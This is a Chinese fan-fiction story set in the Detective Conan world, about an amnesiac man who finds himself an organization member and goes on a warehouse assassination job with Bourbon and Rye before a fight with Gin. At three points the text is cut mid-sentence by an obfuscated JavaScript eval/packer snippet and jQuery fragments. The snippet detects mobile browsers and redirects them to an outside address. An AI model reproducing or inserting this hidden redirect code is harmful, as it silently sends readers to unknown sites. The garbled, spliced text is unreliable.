《穿到酒厂的我选择抱紧波本大腿》
1. 苏醒
一栋普通的一户建内,几缕阳光从阳台的玻璃门斜斜洒入,在门边的绿植上留下斑驳的光影。
开放式厨房连接着吧台,客厅里只摆着一张圆形茶几,和一对长短不一的沙发。整个空间显得格外空旷。
沙发后方,一道楼梯直通向二楼。二楼光线昏暗,看不清布局。
“嗡嗡。”
突如其来的手机震动声打破了房间的宁静。
玄关处,一个身影艰难地动了一下。睫毛轻颤,他缓缓睁开双眼,用手撑起了有些发麻的身体。
浑身疼痛,虚弱无力,头晕脑胀,腰间还泛着奇怪的酥麻。胃部传来阵阵绞痛,好像几天没有进食一般。
他茫然地环顾四周,这个地方,让他感觉既熟悉又陌生。
他……是谁来着?
一个名字随之浮现在他空白的脑海:
静间遥。
除了这个名字,脑海里什么也没有。
“嗡嗡。”手机再次震动,腰间又是一阵酥麻。他摸索着从衣兜里拿出手机,按亮了屏幕。
一个信封图标跃出,他下意识点开了它。一条信息跃入眼中:
【今晚22:30,在‘Mist’酒吧集合。——Bourbon】
灰蓝的眼睛逐字扫过短信,直到看见最后的署名,他整个人都愣住了。
Bourbon……?
这个代号像是一个钥匙,打开了什么开关。剧烈的疼痛又一次袭来,他痛苦地捂住脑袋,一些关键词在脑海中闪现:
安室透、降谷零、公安、黑衣组织、酒厂、琴酒、威士忌……
等等,这好像是……哪部作品的设定?
他缓缓睁大眼,突然意识到了这些,一脸不可置信。
记忆告诉他,这部作品的剧本中,有一个以酒为代号、俗称“酒厂”的跨国犯罪组织。而波本,正是这个组织中的公安卧底——降谷零。
接着,他又意识到一个更严重的问题:
降谷零会用波本的身份发消息给他,就意味着……他也是一瓶酒?!
想到这里,静间遥呼吸一滞。
不对不对不对!
他虽然什么都不记得,但内心深处的直觉告诉他,自己绝对是个积极向上、品学兼优、会扶老奶奶过马路的好青年!
他怎么可能会加入什么酒厂?怎么可能是犯罪组织的一员?是不是有哪里搞错了?!
他不信邪地翻看着手机里的信息,可惜除了波本发的短信,只有一封几分前发的垃圾短信。
通讯录和历史记录都是空空如也,和他现在的脑袋一样。
房间里会不会有别的线索?
他强撑着站起身,浑身的抽痛让他缓了好一会儿,才开始在房间里四处搜寻线索。
房间里整理得非常干净,不像是正经住过人。衣柜里也尽是各个款式的黑衣、黑裤、黑帽,就连内衣和袜子都是清一色的黑。
……这什么审美,是对黑色有什么执念吗?静间遥忍不住在心里吐槽。
最终他找到的只有一把手/枪、一给钱包、一串钥匙,以及一张驾驶证。
驾驶证上的照片……静间遥确实感觉很眼熟。可是名字那一栏写着的,却是“雨宫裕之”。
雨宫裕之。
Amamiya Hiroyuki。
静间遥眨眨眼,拿着驾驶证走到浴室,站在镜子前。
镜子中映出一个年龄二十五岁上下的男性,身高一米八左右、肌肉线条流畅,长得也称得上清秀帅气。
他仔细端详自己的面容。
利落的黑色短发,一双灰蓝的桃花眼。脸色苍白,鼻尖靠右处有一点黑色小痣。眼下带着些许青黑,嘴唇泛白干裂。
额角与脸颊有一些已经结痂的细小伤疤。颈侧有两个极其微小的点状结痂,周围有一小块淤血。
下意识的,他撩起自己的衣摆,镜中立刻映出腰侧大片的青紫色淤青。淤青边缘已经泛黄,看起来已经有些时日了。
转过身,背部还有几道细长的鞭痕。
难怪这么疼。
“……严刑拷打?”他喃喃自语。指尖碰了碰那几道伤痕,传来的疼痛让他倒吸一口凉气。
不是,他该不会是什么重大案件的逃犯吧?不不不,比起这个,他更像是受害者。
至少不是被绑架囚禁了,毕竟哪家好心绑匪还会给肉票准备手/枪和驾驶证?
这个想法让他自己都忍不住笑出声,却不巧牵扯到了背部的伤口,疼得他“嘶”地一声龇牙咧嘴。
他放下衣服,凑近镜子。对着镜子举起证件,左右对比着自己的脸和照片。
眼睛一样,鼻子一样,嘴巴一样……他对着镜子的自己点点头。这照片上完全就是自己。
只是上面的名字……包不是自己。
他确定,自己确实叫做“静间遥”。
难不成……他穿越了?穿越到了这个剧本中,成了这个和自己长得一模一样、名为“雨宫裕之”的酒厂成员?
而身上的伤,大概是“他”之前留下的。
“咕噜噜。”
肚子叫了。
胃部的空虚实在让他无法集中注意力。
还是先找点吃的吧。
他走出浴室,走进厨房,搜罗了一下橱柜。空荡荡的橱柜里只有一包方便面。
静间遥点亮手机屏幕,看着日期,对比着方便面外包装上的保质期。
“嗯……才过期一周……还能吃还能吃。”
他从橱柜里找出锅,熟练地煮好盛起。
吃面的时候,一个念头突然钻进他的脑海:现在逃走的话,会被发现吗?
接着他立刻驳回了自己的想法。
静间遥!别作死!谁知道这附近有没有组织的眼线?万一逃出去被发现,都不知道是怎么死的!
说起来,既然降谷零是公安卧底,那理论上,他们是“自己人”……吧?应该?
要不要试着坦白从宽?
不行。万一降谷零不相信怎么办?记忆里的降谷零是个谨慎多疑的人,表面虽不显,却是和琴酒一样警惕。
贸然坦白的风险实在太大了。
他喝了口面汤,突然眼睛一亮。
或许可以循序渐进?要表现出自己的价值,再体现自己的无害……说不定还能蹭个“证人保护计划”之类的。
不过这一切,都得建立在他能顺利渡过今晚的会面。
静间遥无奈地叹了口气,摸了摸肚子。一碗方便面下肚,饥饿感也只是稍稍缓解。
现在是下午四点,离预定的时间还有六个多小时。
时间还很充裕,出去正经觅个食吧,再提前去目的地附近踩个点。
他走上二楼房间,简单的包扎后,从衣柜中挑出一件黑色衬衫和长裤换上,戴上黑色棒球帽。
拿着车钥匙来到车库,他信心满满地坐进驾驶座,双手握住方向盘,脚放在踏板上。
然后,整个人就懵了。
完蛋,自己好像根本不会开车!他到底哪里来的驾照!
哦,不是他的,差点忘了。
无奈之下,他掏出手机,仔细研究导航:
【附近的美食……】
【公共交通……】
【“Mist”……】
很好,就决定乘地铁去吧!
-
【22:29】
Mist酒吧里,暧昧的霓虹灯疯狂闪烁着,节奏强劲的音乐煽动着年轻男女的身体。空气中弥漫着酒精与香薰的味道,人们在舞池中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460628|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
狂欢。
但这一切喧嚣,都在靠近最靠里的卡座时,仿佛撞上了一个无形的屏障,骤然消失殆尽。
安室透坐在卡座一端。他双腿交叠,指尖无意识地敲打着手臂。
距离约定的时间只余下一分钟了,但那个素未谋面的新搭档却迟迟没有出现。
他不经意间瞥了眼坐在卡座另一端,那个始终沉默不语的长发男人,忍不住低声“啧”了一声。
莱伊这个讨厌的家伙倒是准时得很。
莱伊半垂着眼,端着威士忌,修长的手指漫不经心般划过杯沿。他将安室透的动作收入眼底,却仍是保持着沉默。
没了苏格兰,他们本就无话可说。
安室透扭过头,看向酒吧入口处。
真是傲慢啊。不论是莱伊,还是那个……迟到的田纳西。
就在这时,一个全身黑色的年轻男子匆匆走进了酒吧,目光快速扫过整个空间,最终定格在他们所在位置。
安室透微微眯起眼,打量着那道高瘦的身影。
“抱歉抱歉!我来晚了!”年轻男人小跑到卡座前,扶着膝盖微微喘气。清亮的声音从他戴着的口罩下传出,还带着几分慌乱。
安室透看着那帽檐下的灰蓝桃花眼,脑海中迅速闪过了有关此人的情报:
田纳西威士忌(Tennessee Whisky)。
真名不详,年龄约在二十五岁至三十岁之间,组织行动组的新星。此前都是单独行动,依靠“处理”了叛徒苏格兰,获得了“那位大人”的赏识。
因此,他现在顶替了威士忌组中原本属于苏格兰的位置。
Hiro就是被这个家伙……
安室透眼中暗了暗,深吸一口气,不动声色地将翻涌的情绪压在冷静的表象之下。
静间遥看着降谷零的表情,悬着的心终于沉到谷底。
坏事了坏事了!降谷零一定因为他的迟到生气了!他对自己的初印象肯定很差,必须得解释一下!
“前辈!对不起!”静间遥在安室透抢在说话前急忙开口。
前辈?
安室透眼皮一跳。
“我、我不小心坐反了地铁!”静间遥一边道歉一边比划:“本来是要往西的,结果我上了往东的车……等我发现已经来不及了。”
坐反地铁?
安室透额角的筋突起。
赤井秀一缓缓抬起头,墨绿的眼眸无声地打量着眼前的年轻人。听到这个理由,眉梢也微不可查地挑了一下。
“当时我心想完了完了,第一次见面居然就要迟到了!”静间遥还在不停地解释着,仿佛完全没有察觉到眼前两人诡异的沉默。
“结果出站的时候又出了问题,刷卡一直刷不上……”
安室透微微皱眉,赤井秀一则稍稍向后靠进椅背,嘴角勾起一点若有若无的弧度。
“最后我一路小跑才到了这里……”结果还是迟到了。
静间遥声音越来越低,他微微鞠躬,再次道歉:“对不起。”
“呵。”赤井秀一终于忍不住轻笑出声,虽然声音几乎要被酒吧的背景音吞没,但还是收到了来自安室透的一记眼刀。
“你很准时,现在刚刚到预定时间。”赤井秀一说。
组织成员做任务不开车,反而坐地铁?赤井秀一根本压不下嘴角的笑意。
安室透心中也升起了同样的疑惑。
“为什么不开车?”安室透问。
“……因为我不会。”
……?
眼前这位“传说中的田纳西”,双眼中写满了真诚。
安室透第一次对自己引以为傲的情报收集能力产生了怀疑:
这个人,真的是传闻中那位干脆利落地处决了苏格兰的冷血杀手吗?
2. 试探
这个人,真的是传闻中那位干脆利落地处决了苏格兰的冷血杀手吗?
现在的反应是伪装?还是说,这个人根本就不是田纳西本人?
试探一下吧。安室透想。
他微微侧脸,向静间遥用眼神示意了一下卡座的空位,语气平淡:“别站着了,坐下说任务。”
“哦哦,好的!”静间遥眼睛一亮,赶紧点头。
看来降谷零是原谅自己了。长了嘴就是好啊!能把问题解释清楚!
他的目光在安室透和赤井秀一之间扫过。两人各坐在卡座一端,要坐到空位上,都势必会经过其中一个人的身前。
他下意识地选择了自己信任的安室透,毕竟那个黑长发的组织成员气质上很像琴酒,一看就不是很好惹。
“不好意思,借过一下。”他小声说,侧身试图从安室透和茶几的缝隙挤进去。
安室透不动声色地将交叠的双腿换了个姿势,给对方让出了更多的空间。
静间遥经过安室透的身前,动作幅度并不大,但还是扯到了背部的伤。他抿紧嘴唇,忍住疼痛。
幸好今天戴了口罩,不会被看到表情。他在心底松了口气。
然而那极淡的药味,却未能逃过安室透那敏锐的嗅觉。
他睫毛微颤,视线缓缓扫过对方的背部,但最终什么也没说。
田纳西自完成解决叛徒的任务后,便销声匿迹了一段时间。
直到琴酒发消息告知安室透,今后田纳西将顶替苏格兰的空缺加入他们的小组,他才得以在这次任务见到田纳西。
安室透本以为,消失是田纳西自己不想太过引人注目,主动隐藏了行踪。
现在看来,是因为他受伤了,而且恐怕伤得不轻。
赤井秀一将杯子放至唇边,墨绿的眼眸透过玻璃,安静地观察着两人的一举一动。
静间遥坐下来,下意识想抚摸一下疼痛的腰侧,又立刻意识到当下的场合,迅速放下手。
他挺直腰背,双手规规矩矩地放置在膝盖上,努力摆出严肃认真的姿态。
第一次任务,要给降谷零留下勤奋认真的好印象!
而安室透看着他,总觉得他有些紧张,还有一些……莫名其妙的期待?
安室透不动声色地收回目光,从怀中取出一张地图和三份资料。他将地图铺在茶几上,剩余两份资料递给了另外两人。
“这次的目标,是个情报组的叛徒。”
“他偷走了组织的芯片,打算将它卖给泥惨会。凌晨四点,他们会在东边的码头仓库进行交易。”
安室透指了一下地图上码头的位置。
静间遥点点头,没有插话。他专注地翻阅着手上的资料,视线快速扫过仓库结构图上的几个入口。
“我负责指挥,会在外围提供支援。”
“莱伊,”安室透指了一下离码头不远的地方,“这里,是你的位置。你的任务是防止目标从这里逃跑,也防止那些意料之外的‘客人’。”
赤井秀一颔首。
“田纳西——”
静间遥从资料上回过神来,愣了一下才反应过来是在叫自己。他转头看向了安室透,心里有些讶异。
原来自己还有代号啊?他还以为自己只是个后勤的小喽啰。
安室透看着他缓缓抬起头的动作,再一次在心里评价:
真是傲慢。
他继续说道:“你负责潜入仓库,确认目标和交易对象。然后处理掉他们,取回芯片。”
灰紫的眼中却闪过一丝冰冷的狠厉。
啊?他来处理?原来他是行动组的吗?难怪会受那么重的伤。
静间遥一边将安室透的话记在心里,一边忍不住走神思考。
“带枪了吗?”没等静间遥反应,安室透就又接着说,“算了,你用这个。”
他从卡座下方拿出一个黑色背包,丢了过去。
静间遥稳稳接住了背包,打开一看,里面是一把HK P7、几个配套的弹匣和一个枪套。
他右手拿起手/枪,熟练地装上弹匣。随即手腕一抖,小臂发力,手指拨动套筒。套筒随之滑动,发出清脆的“咔哒”声,手/枪露出枪管,又迅速复位。
枪没有问题。只是,既然是潜入任务,还少了一个东西。
“消音器呢……?”
话一出口,静间遥才后知后觉地怔住了。
什么东西?他刚刚的动作是在验枪?是肌肉记忆?
安室透灰紫的眼眸暗了暗,把手中的消音器也抛给了他。
静间遥接过消音器,下意识地进行了组装和调试,动作流畅地像是经历过无数次。
哇哦。
雨宫裕之,你的肌肉记忆真是太厉害了。
静间遥在心里感叹。
而安室透看着他的动作,心里的天平却是偏了偏。
果然是装的。
“你要做的,优先是取回芯片。”
“至于那些人……想必你一个人也没问题吧。”安室透瞳孔微缩,虹膜颜色更浅了几分,嘴角勾起,眼底却丝毫没有笑意。
“就像……你当初处决苏格兰那样。”
赤井秀一听到这个代号,抬眼淡淡地瞥了静间遥一眼。
而静间遥则是神色恍惚了一瞬,立刻回应:“没问题。”
苏格兰?听起来好耳熟……是谁来着?剧本里好像有这个名字,但是他一时想不起来这个名字相关的信息。
……
不对!这不是重点!
他真的会用枪吗?他真的能射得准吗?虽然这具身体还残留着一些本能,但他的脑海中却是一片空白。
万一失手了……难道他要在第一次任务就直接打入死亡结局吗?
静间遥惴惴不安,面上的神色却是愈发凝重。
“任务就是这样。我们现在就动身。”安室透说,“莱伊,你自己过去狙击点。田纳西,你和我一起过去。”
“毕竟——你不会开车。”
静间遥抬起头,点了点,脑子里还在想枪的事:
没问题吧?
-
……有大问题!!!
静间遥僵硬地坐在副驾驶,手指紧紧抓住了车窗上的握把。
窗外的景物疯狂向后倒退,强烈的推背感把他牢牢按在座椅上。每一次迅猛的变道与转弯,都让他胃部翻滚,头晕目眩。
没人告诉他!降谷零开车会开得这么快!
安室透用余光瞥了眼身旁的人,口罩与帽檐的缝隙中,那人灰蓝的双眼微微瞪大。
安室透心中冷哼一声,随口问道:“怎么了?”
“没、没事。”静间遥艰难地咽下一口唾沫,强行将不适忍了下去。
直到车辆减速,停靠在目的地附近时,静间遥才暗中长舒了口气。
终于活过来了!
降谷零的车技,真是太可怕了。
静间遥打开门下车,双脚落地时感觉小腿肚还有些发软。他扶了一下车门,站直身体,才绕
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460629|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过车头走向码头那一端。
下次他宁愿提前几小时走路来,也绝不要再体验降谷零的死亡飞车了。
静间遥在心里疯狂吐槽,目光却已经开始不自觉地打量着四周的环境。
夜色中的码头光线昏暗,只有几盏零星的灯在发出微弱的光。远处,废弃仓库周围的光线更是昏暗,只能看清大概的轮廓。它如同什么深渊巨兽,匍匐在了岸边,散发出了危险的气息。
一阵咸涩的海风吹来,吹动了静间遥额前的头发。
他眨了眨眼。
到了任务地点,本该忐忑的心,反而却奇异地平静下来,一种不知从何而来的专注力取代了之前的慌乱。
“怎么了?”安室透摇下车窗,手肘随意地倚靠在窗沿,“该去仓库蹲守目标了。”
静间遥闻声转过头,灰蓝的眼睛在昏暗中异常明亮,他的声音里充满了决心:“放心吧前辈,我会努力完成任务的!”
哒。
安室透心中的天平,因为他过分单纯的话语,难以察觉地倾斜了另一边。
这个人未免也太天真了。他为何能够如此信任一个初次见面的“同伴”?难道从未想过这个任务的目的是针对他的陷阱?这样的事在组织内可并不少见。
如果他真是那个冷血无情、追求高效的杀手田纳西,都到这里了,他还有必要继续演吗?
安室透将翻涌的思绪压下,取出一个耳麦递给了对方:“拿着,用这个保持通讯。”
“嗯!”静间遥接过耳麦,绽开一个笑容,眼睛亮晶晶的,“那我去了!前辈!”
话语刚落,他转身就走,身影迅速融入了属于夜晚的浓厚黑暗中。
安室透凝视着他消失的方向许久,终于拧动钥匙,重新启动了引擎,驾车驶向他的任务位置。
-
仓库内,静间遥脊背紧贴着一个集装箱的外壁,双手稳稳地握住手/枪,枪口朝向地面,整个身影完全被阴影吞没。
他已经记不清自己保持这个姿势多久了。但奇异的是,他丝毫不觉得疲惫,仿佛已经习惯了这样漫长的等待。
好像……已经快四点了。他的直觉告诉他。
就在这时,耳麦里传来轻微的电流噪音,接着响起了安室透的声音:
“目标出现了。莱伊,看见了吗?”
远处狙击点上,赤井秀一透过狙击镜,看着那辆关了车灯、悄然驶入码头的黑色轿车。
他沉声回复:“啊……看到了。”
黑色轿车缓缓停下,熄灭了引擎。一个拿着银色公文箱的男人从车里钻了出来。他警惕地环顾四周,没有立刻进入仓库,二十靠在车边,等待着什么。
时间一分一秒过去,静间遥垂眸倾听着耳麦里那两人绵长的呼吸声。
“来了。”安室透的声音再次响起。
静间遥立刻抬起头。
靠近他藏身位置的大门处,有一束灯光闪过,一辆不起眼的厢式货车在大门停下。两个穿着工装服的男人下了车,其中一个背了包,另一个朝着某个方向打了个手势,两人才走进仓库内部。
他们确实不是什么普通的工人。静间遥敏锐地发现了异常,目光停留在俩人腰间衣服不自然的隆起上。
“目标进去了。”赤井秀一的声音从耳麦传来。
先前那名提公文箱的男人缓缓走向新来的两人,与他们汇合。
静间遥深吸一口气,注视着不远处的三人,内心反而愈发冷静。
任务,正式开始了。
3. 意外
川井大志只是组织里一个不起眼的底层情报人员。
他原本以为,自己只能如此平凡地度过一生,直到老死在这暗无天地的地下世界里。
然而好运却意外降临在了他身上:他偶然接触到了组织内部一项高度机密的芯片开发计划。深思熟虑后,他选择铤而走险,想办法把一枚芯片样品偷了出来。
更让他欣喜若狂的是,当他尝试在黑市里悄悄兜售这枚芯片时,泥惨会的人竟然迅速找上门来,并开出了一个让他根本无法拒绝的天价。
谁会跟钱过不去呢?川井大志迫不及待地答应了这笔交易。
交易时间定在今晚四点,他稍早一些到了交易地点。出于谨慎考虑,他并未直接进入仓库,而是选择了留在外部观察。这样既是为了防备可能的埋伏,也方便自己随时脱身。
在地下世界生存的人,没有这点警惕性,可是会很快没命的。川井大志轻哼一声,在心里想着。
直到泥惨会的人乘着货车抵达目的地,一高一矮两名男子下了车。其中矮的那个对着他打了个确认的手势,他才放下心来,走进仓库。
“东西我带来了。”川井大志举起手中的公文箱,“我要的东西呢?”
高个男人咧了咧嘴,拍了拍身上的包:“钱在这里,一分不少。”
一旁矮个子的却按下了话头,沉声道:“先让我们验验货吧。”
“规矩可不是这样的。”川井大志摇了摇头,将提公文箱的手垂下,“总得先让我看看你们的诚意吧?”
矮个男人使了个眼色,高个男人有些不耐地“啧”了一声,不情不愿地拉开了背包拉链,露出里面捆扎得整整齐齐的钞票。
“看到了?该你了。”
川井大志轻哼一声,这才放下公文箱,熟练地拨开密码锁。
箱盖被打开,露出了箱内的样子:箱内衬着黑色的绒布,中间躺着一枚指甲盖大小的绿色芯片,在微弱的光线中反射着金属的冷光。
接着,他又迅速合上箱子,重新锁好。
“钱给我吧,之后……我会把密码发给你的。”
矮个男人又用眼神示意高个男人。高个男人放下包,将它递向了川井大志——
“咻!”
一声轻微的破空声骤然打破了仓库内表面的平静。
高个子的眉心瞬间应声炸开了一个血洞,直挺挺地向前倒去。
川井大志愣了一瞬,立刻举起公文箱挡住头部,踉跄地扑向掩体。
“咻!”
矮个子也同时朝掩体跑去。他一手抽出腰间的手/枪,另一手拿着手机大喊:“有埋伏!”
-
“动手。”
“咻!”
耳机里的指挥声音刚落,静间遥就已经举起枪,几乎没有瞄准,立刻扣下了扳机。
“咻!”第二发子弹紧接着飞出。
“啊!”
川井大志惨叫一声,大腿中了一枪,踉跄地跪倒在地。他粗喘着气,看着远处那个一身黑衣的男人。
他没死?
但他心中的恐慌却没有减少半分,他望着男人那冰冷的灰蓝双眸,突然意识到了什么。
“怎么不解决了他?”静间遥耳麦中传来了安室透冰冷的质问声。
他自己也有些意外,分明感觉瞄准了,扣动扳机的瞬间手却不自觉地偏了一下。
奇怪。大概是因为,他还没有彻底驯服雨宫裕之的身体?
“呃,不小心射偏了。”静间遥有些尴尬地回应。
“……”
安室透深呼吸,示意自己要冷静……冷静……
冷静什么啊!这个人是故意的吗?不是说田纳西枪法如神,百发百中吗?!
果然,这个人根本就不是田纳西本人。之前叫他代号半晌没反应,他还以为是田纳西的傲慢。现在看来,那个代号根本就不是他的。
所以这个人是谁?真正的田纳西又在哪里?
“比起这个,前辈!那辆货车里肯定还有人!”耳麦中的声音打断了安室透的思绪。
安室透迅速回过神,沉下心。
不管这个人是谁,既然现在是由这个“田纳西”加入他们的小组,那么之后他还有机会继续试探。
现在最重要的还是完成当下的任务。
他的目光紧盯着笔记本里的监控画面,那辆泥惨会的人开来的货车仍静静停在那里。
货车车厢恰好在监控死角中,他看不清晰。
之前他就隐隐有些猜测,直到那个矮个男人打了电话,他才终于确定:那个货车里确实还藏着人。
“莱伊。”
“啊,了——解。”
赤井秀一透过瞄准镜,注视着刚从货车车厢中悄然跃下的几个身影。
“我会让这几位意料之外的‘客人’……提前退场的……”赤井秀一低声细语,宛若与恋人耳语,低哑的嗓音带着一丝笑意。
几声干脆的枪响接连响起。
静间遥余光一瞥,就看见刚从货车后跳下来的几个人应声倒地。每个人的眉心正中或太阳穴,都被分毫不差地开出了一个血洞。
静间遥无声地在心中吹了个口哨:哇哦,那个长头发的枪法简直准得不像话。
虽然狙击距离并不算远,但是在极短的时间内连续瞄准多个目标,还要枪枪击中要害,这水平不管怎么想都多少有些离谱。
反正他肯定是做不到。
……不对不对,静间遥,搞清楚你的立场!他在心中扇了自己一个耳光。
你可是根正苗红的正义好青年!你怎么能佩服起组织成员!清醒一点啊!
不过话又说回来了,他记得降谷零的枪法也相当厉害。不知道将来有没有机会也亲眼见识一下。
哦对了,降谷零是情报组的来的,更多时候应该是像今天这样在幕后吧……
心中想着,他的动作却丝毫没有停滞。
他矮身躲过了一发子弹,迅速冲向持枪的矮个男人。随即腿部发力、猛地抬高,一记高踢命中了矮个男人的手,手枪应声飞出。
矮个男人手上吃痛,还没等他反应过来,静间遥高抬的腿又如鞭落下,重重地击打在了他的背上。
矮个男人一声惨叫,瘫倒在地,静间遥反扣他的双手,牢牢把他制服在地。
男人喘着气,挣扎了一下,却没有挣脱开。
静间遥睫毛轻轻颤动了几下,鼻息因刚才短暂剧烈的动作而稍稍加重。
嘶——动作太大了,牵扯到身上的伤了。腰侧的淤青倒还好说,但背后的鞭伤此刻有点火辣辣地疼。是伤口裂开了?
“还等什么?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16460630|185402||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”他听见降谷零说。
“这么近,总不会再失手了吧。”安室透透过监控的画面,审视着那道颀长身影一系列行云流水的动作,虹膜不自觉地微微变浅。
即使他不是田纳西,拥有这样的体术,他也绝不可能是个普通角色。
静间遥则是晃过神来:“啊,嗯。”
应该不会吧?要是这么近还射偏,那是真的有点丢人……
还好还好,虽然之前失手了,但至少现在补救回来了,没有拖累降谷零。
总之,任务没有被他搞砸比什么都强。如果搞砸了,他肯定会被水泥封顶、沉入东京湾,含恨而终。
所以,静间遥,你真棒!活下来了!
说起来,这个脑袋可真脑袋啊,圆得跟圆似的。
这么近血肯定会溅到身上。
溅到脸上还好说,应该擦得干净。但溅到衣服上的应该怎么洗?直接扔了?衣服是因公损坏的,组织能报销吧?
如果是番茄酱就好了,酸酸甜甜,至少好吃。想把饺子蘸番茄酱。
有点饿了。
他胡思乱想着,举起手中枪,枪口抵住矮个男人的后脑。
“咻!”
安室透向后靠住了车座后背,语气平静无波:“可以了,去把川井大志解决了,芯片拿回来。”
车中的光线昏暗,他垂下眼,灰紫的眼眸反射着电脑屏幕微弱的光。
总觉得“田纳西”的状态有些奇怪。
静间遥应声转过身,走向仍倒在地上痛苦喘息的川井大志,举起手/枪。
“砰!”
就在这时,一声枪响自不远处传来,子弹精准地击穿了川井大志的太阳穴。
静间遥眼睛缓缓睁大,倏地回首朝着枪声处转去。却在看见来人后,愣在了原地。
来人穿着一身与季节不相符的黑色长风衣,宽大的帽檐下,银色长发垂落及腰,一双深绿眼眸充满戾气。明明是初夏,他却给人一身肃杀的寒意。
琴酒。看着监控的安室透有些意外。他来干什么?
“他怎么过来的?”安室透皱起眉,朝着耳麦沉声道,“莱伊。”
“……他刚才给我发了邮件。”赤井秀一有些无奈地回应。
同一时间,安室透的手机“嗡嗡”震动。他摁亮屏幕一看,是一条抄送的邮件,正是莱伊所说琴酒发的那封。
“……”
“啧。”安室透紧皱着眉,明显有些被插手任务的不悦。
但他很快压下了情绪,继续说:“算了,结果都一样。田纳西,把芯片拿回来。”
“嗯……”静间遥听到安室透的话,下意识的回应。但他却一步未动,遥望着不远处的那道身影。
琴酒。几乎在看到这个人的第一眼,这个代号就浮现在了他的脑海之中。
他为什么会在这里?
鞋底沉重地敲击着水泥地,一步步的,由远及近。他的目光也随着那黑色的身影移动,直到那道身影在他的面前站定,阴影将他完全笼罩。
“田纳西。”琴酒的声音冷冷地响起。
听到自己的代号,静间遥抬起头,迎上那双冰冷的绿眸。
琴酒略微垂眸,看着那双直视着他,却毫无惧色的灰蓝眼睛:
“你现在,连杀人都做不到了吗?”
4. 倒霉
安室透驾车行驶在返回城区的路上。相较于来时的风驰电掣,此时他开得倒是平稳了不少。
副驾驶坐着的仍是静间遥。他沉默的注视着前方,难得保持着安静,也不知道在想什么。
安室透用余光扫了眼他沉静的侧脸,心中的疑惑越来越大。
初见时,他确实认为这个青年就是田纳西。
但这个青年性格跳脱,虽然能完成任务,却总显得有些心不在焉。他的体术相当出色,但下手却不够果断。
而田纳西则向来以冷酷果断著称,杀人从不眨眼,任务完成率也是百分百。也正因如此,琴酒对这位作风与自己相似的成员颇为赏识。
两者之间的差异实在是太明显了。
安室透几乎已经确定,眼前的这个人并不是田纳西,而是因为某些原因被推上台面的替身。他猜测,真正的田纳西则或许遭遇了意外,也或许在暗处筹谋着什么。
无论如何,都绝不可能是眼前这个愣头青。
但琴酒出现,却让他再次动摇了。
因为,琴酒称呼他为——
“田纳西”。
-
“你现在,连杀人都做不到了吗?”
静间遥面对琴酒的发问,有些困惑地眨眨眼。
这是什么鬼话?刚才泥惨会那高矮二将的不就是他处理的吗?溅到衣服上的血都没有干透,琴酒哪只眼睛看出来他“做不到”的?
做坏人说话也要讲基本法不是?就算对方是琴酒,他也得把道理讲清楚才行。
想到做到。他直视琴酒的眼睛,一本正经地回复了他刚才的问题:“琴酒大哥,我身上的是血不是番茄酱。”
“不信你闻闻。”说着他抬起手臂,将沾了血的袖子凑到琴酒面前,“就是别忍不住舔一口。毕竟你这样的变态一看就喜欢舔血。”
琴酒略显嫌弃地皱了皱眉,却没有动:“田纳西,动动你快生锈的脑子好好想想。你那张狗嘴实在吐不出象牙,不如直接缝上。”
缝上?虽然明白这只是句恐吓,但这也绝对是琴酒做得出来的事。静间遥小脸一白。
“别别别!”他后退一步:“大哥,不让我说话我会憋死的!”
“哈——那留着你的嘴,把脑子丢进实验室检查检查。”
“这也不行!大哥,你不能这样对我的脑子!它是我最宝贵的财产!”
“你明知道我在说什么。”琴酒冷笑一声,“继续废话就把你宝贵的财产蘸番茄酱。”
“不要啊!”静间遥哀嚎一声,“就算是琴酒你,也不可以这么侮辱番茄酱!”
……?
在确定任务基本结束后,赤井秀一就离开了。在还未关闭的频道中只余下了安室透一人。
他听着耳麦里这莫名其妙的对话,有些无语。
小学生吵架?
田纳西也就算了,琴酒怎么也跟着一起闹?
“……”
琴酒眯着眼审视着眼前这个熟悉的人。
沉默片刻,他毫无征兆地出拳,直击他的腹部。
他们打起来了。
安室透更加专注地看着监控中的画面。
之前对上泥惨会的人还不算什么,但对上琴酒,他又会怎么应对呢?
画面中,静间遥一惊,本能地后撤半步侧身闪过。右手扣住了琴酒袭来的手腕,顺势卸力。却不想在同一时间,琴酒的另一边手肘猛地击向他的胸口。
他瞳孔一缩,整个上身迅速向后仰去。他左手撑着地面稳住重心,松开手的同时腰腹发力,向后一翻,与琴酒拉开了距离。
琴酒却再一次向他扑来,一记手刀劈向了他的颈侧。
静间遥偏头闪避同时用手格挡,反手想要控制住琴酒的手。但琴酒却更快地反应了过来,手一转扣住了他的手臂,同时膝盖顶向了他的腹部。
他躲不过去。安室透在心中断定。
